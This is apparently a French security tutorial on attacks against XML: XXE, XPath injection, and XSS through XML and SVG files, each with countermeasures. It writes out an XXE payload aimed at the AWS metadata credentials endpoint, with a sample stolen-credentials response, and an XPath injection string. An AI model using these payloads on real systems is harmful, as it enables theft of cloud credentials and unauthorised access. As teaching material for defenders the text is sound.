XML, comme toute technologie informatique, est potentiellement utilisable de façon détournée par de méchants pirates. Autrement dit, XML est attaquable. Certaines attaques sont relativement communes, d’autres sont plus spécifiques à la technologie elle-même.

Attaques XXE

Une attaque XXE consiste à utiliser le mécanisme XML External Entities qui permet de charger, dans un document XML, des données externes.

Principe

Il suffit donc ensuite que le serveur qui traite le fichier XML ait les droits sur la ressource demandées pour qu’il la récupère. Imaginons que le serveur soit installé sur une instance AWS : on peut très bien mettre, dans l’entité externe à charger, une URL du type //169.254.169.254/latest/meta-data/iam/security-credentials/role/ qui contient les informations d’authentification pour le rôle concerné.

<!DOCTYPE doctype [
<!ENTITY myentity SYSTEM "https://169.254.169.254/latest/meta-data/iam/security-credentials/role/"> ]>
<sell>
  ...
 <product>
  <name>Product Name</name>
  <price>100.00</price>
  <description>&myentity;</description>
 </product>
  ...
</sell>

On récupère alors une réponse :

{  "Code" : "Success",
  "LastUpdated" : "2018-02-06T15:12:30Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIAJQAPNMGMDOUJ5LGQ",
  "SecretAccessKey" : "/jOIiFX...............eNBe0SigqvngXkXsMP",
  "Token" : "FQoDYXdzEKj//////////wEaDNzLiriTguzdpCK9A1/LsuWyHIqk...............7LLNrtnR2Sdy/VdfFjuLjzGw...............",
  "Expiration" : "2018-02-06T21:29:09Z" } 

Contre-mesure

Ce risque est inhérent à l’utilisation de ce mécanisme, et le seul moyen efficace de s’en prémunir est… de l’interdire ! Hélas, chaque parseur XML a son propre paramétrage et il va falloir chercher dans la doc correspondante comment procéder. Pour Python/Django, cela peut donner :

from lxml import etree
parser = etree.XMLParser(resolve_entities=False)

Attaques XPath

L’attaque XPath est plus classique car elle est liée à l’éternel problème du contrôle des données entrées dans un système informatique.

Le principe est le même que celui d’une injection SQL, où on force, via des caractères spéciaux, une modification de la logique de la requête SQL générée avec l’entrée saisie par l’utilisateur. Ici, on modifie la logique du code ou de la requête SQL grâce à des caractères spéciaux introduits dans un champ XML.

Exemple : //coupon[code='ABCD' or '*']

Rien de bien nouveau, à part qu’il faut aussi penser à vérifier systématiquement ses documents XML, comme toute entrée (saisie) d’un utilisateur, notamment en échappant les caractères.

Attaques XSS

Les attaques XSS sur XML sont classiques et le principe est celui des XSS : on force un utilisateur à exécuter un script contenu dans le document XML.

Contre-mesures

Il y a deux façons de contrer ces attaques, qu’on peut combiner :

• Filtrer les données du document XML, en échappant les caractères et/ou interdisant certains motifs (patterns) suspects ;
• Empêcher l’exécution du script en modifiant le header de la réponse au niveau du serveur, en forçant le téléchargement du fichier.

Attaques XSS via un fichier SVG

SVG est un format d’image basé sur XML. Il est possible d’y inclure des scripts, ce qui le rend vulnérable aux attaques XSS comme vu juste au-dessus. Le principe est donc identique, à part que le script est désormais caché dans une image SVG qu’un attaquant cherchera à placer dans le site de sa cible.

Contre-mesures

Là où c’est un peu plus sioux, c’est qu’on peut effectivement faire la même chose que pour les attaques XSS. Mais si le fichier SVG doit être affiché sur une page web, il va être difficile (du point de vue ergonomie) de forcer l’image à être téléchargée ! Cela veut donc dire qu’il va falloir traiter très consciencieusement tout ficher SVG destiné à être affiché…

Voir aussi

• CWE – CWE-611: Improper Restriction of XML External Entity Reference
• OWAPS – A05 Security Misconfiguration